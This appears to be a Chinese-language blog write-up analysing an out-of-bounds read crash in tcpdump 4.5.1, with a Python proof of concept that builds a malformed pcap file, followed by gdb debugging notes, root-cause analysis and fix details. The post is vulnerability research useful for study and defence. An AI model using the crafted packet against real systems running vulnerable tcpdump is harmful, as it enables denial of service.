tcpdump|tcpdump 4.5.1 crash 漏洞

  • 漏洞描述
    • tcpdump 4.5.1 越界读漏洞 , 原因在于没有检测 caplen 的长度是否小于数据包的包头.
  • 漏洞影响范围
    • tcpdump < 4.7.0
    • 修复措施
      • hex_and_ascii_print_with_offset 增加的对 caplen 合理性的检测,检测输出的长度是否大于数据包的总长度
      • libpcap 增加了对 pcap_next_packet 增加了对数据包 caplen大小 的检测 , 检测是否 > 0x40000
  • 实验环境
    • ubuntu16.04 x86_64
      • tcpdump version 4.5.1
      • libpcap version 1.7.4
    • gdb with pwndbg , peda
    • 有源码,编译后带调试信息
  • poc
    • from time import sleep def crash(): command = 'tcpdump -r crash' buffer='\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\xf5\xff' buffer+='\x00\x00\x00I\x00\x00\x00\xe6\x00\x00\x00\x00\x80\x00' buffer+='\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00<\x9c7@\xff\x00' buffer+='\x06\xa0r\x7f\x00\x00\x01\x7f\x00\x00\xec\x00\x01\xe0\x1a' buffer+="\x00\x17g+++++++\x85\xc9\x03\x00\x00\x00\x10\xa0&\x80\x18\'" buffer+="xfe$\x00\x01\x00\x00@\x0c\x04\x02\x08\n', '\x00\x00\x00\x00" buffer+='\x00\x00\x00\x00\x01\x03\x03\x04' with open('crash', 'w+b') as file: file.write(buffer) try: call(split(command)) print("Exploit successful!") except: print("Error: Something has gone wrong!") def main(): print("Author:David Silveiro") print("tcpdump version 4.5.1 Access Violation Crash") sleep(2) crash() if __name__ == "__main__": main()```

  • 漏洞分析
    • 运行后漏洞定位 , 越界读
      • tcpdump|tcpdump 4.5.1 crash 漏洞
        文章图片
        1569742898375.png
      • 0x40cd97movzx ebx, BYTE PTR [r12-0x1]
      • r12 - 1 刚好越界
      • tcpdump|tcpdump 4.5.1 crash 漏洞
        文章图片
        1569743032344.png
    • bt 回溯 查看调用代码位置
      • tcpdump|tcpdump 4.5.1 crash 漏洞
        文章图片
        1569743115095.png
    • 关键参数
      • 决定输出循环终止 | nshort = length / sizeof(u_short)
        • length 在函数调用时传入 length=0xfffffff3
      • 根据 bt 发现由 ieee802_15_4_if_print 调用 ,
        • 180行 ,caplen 为 length 参数 , 由 hex_and_ascii_print 函数中转 [图片上传失败...(image-d89e5c-1570194657331)]
      • caplen 由 数据包结构体的 caplen项 转变
        • u_int ieee802_15_4_if_print(struct netdissect_options *ndo, const struct pcap_pkthdr *h, const u_char *p)
        • 变化过程
          • 目的 : 将 p 调整至数据包内容的开始 ,同时 caplen 减去数据包头的长度
          • h # 数据包
            • tcpdump|tcpdump 4.5.1 crash 漏洞
              文章图片
              1569776934738.png
            • tcpdump|tcpdump 4.5.1 crash 漏洞
              文章图片
              1569743335276.png
          • caplen = h->caplen # 0x8
          • if caplen >= 3
            • caplen -= 3 # 0x5
          • caplen -= hdrlen # 0xfffffff3 # -0xd
            • p=0x8245b0 "@\377"
            • fc = EXTRACT_LE_16BITS(p);
            • hdrlen = extract_header_length(fc);
            • // hdrlen = 0x12
    • 所以此处漏洞成因是没有检测 caplen 的长度大小是否小于 数据包头结构体的长度 (0x15)
  • 参考链接
    • k0shl 分析思路
      • 介绍 越界读 导致的 crash . 对 数据包 的长度没有严格控制,导致连续读取到一定长度后会读取到无效的内存空间,从而导致拒绝服务的发生
      • 调试
        • poc 生成导致 crash 的 pcap包
        • gdb 调试 -r 参数打开 crash 数据包 , 到达崩溃位置
          • run -r crash | gdb 带参运行
        • 0x8001e612: movzx edi,BYTE PTR [edi+esi*2+0x1] 确定了越界读发生的位置
        • bt 回溯调用情况
        • 【tcpdump|tcpdump 4.5.1 crash 漏洞】看整个运行过程 , 和崩溃位置前的程序输出
      • 分析
      • pcap文件包的结构 关键结构体
        • 文件头
          • magic int32 # magic number 标识符
          • u_short version_majar # 主版本号
          • u_short version_minor # 次版本号
          • bpf_int32 thiszone # 时区修正
          • bpf_u_int32 sigfigs # 精确时间戳
          • bpf_u_int32 snaplen # 每个数据包保存的最大长度
          • tcpdump -s 0 就是设置这个参数 , 缺省为 68
          • linktype: # 链路层类型:32位, 数据包的链路层包头决定了链路层的类型。
        • 数据包
          • struct timeval ts # 详细时间戳
          • bpf_u_int32 caplen # 保存的包长度
          • bpf_u_int32 len # 数据包真实长度
        • 时间戳 timeval
          • long tv_sec # 秒数
          • suseconds_t tv_usec # 微秒
        • 标记关注的重点 数据包的caplen
      • 分析漏洞触发流程
        • 根据bt的结果 , 从main函数开始跟进
      • 看到 call 调用跟进
      • 看到标志性输出,分析关键位置在附近
      • 接着跟进动态调用 , 一步步知道发现有循环
      • 发现循环带计数器,将 ida 反编译结果和gdb调试信息对比,分析关键逻辑
        • 做出推测,并根据相应寄存器做出验证
      • 注意点
        • 分析部分 这里需要学习的是配合ida的调试思路,对于没有源码的调试比较有参考价值
        • 看到关键逻辑推测和验证
        • 注意查找关键逻辑的思路,考虑直接从搜索标识性字符串入手,或者根据 bt 的结果,看对应位置是否有函数,一步步反推
    • 先知社区的本漏洞分析文章
    • 安全客 深入分析文章

    推荐阅读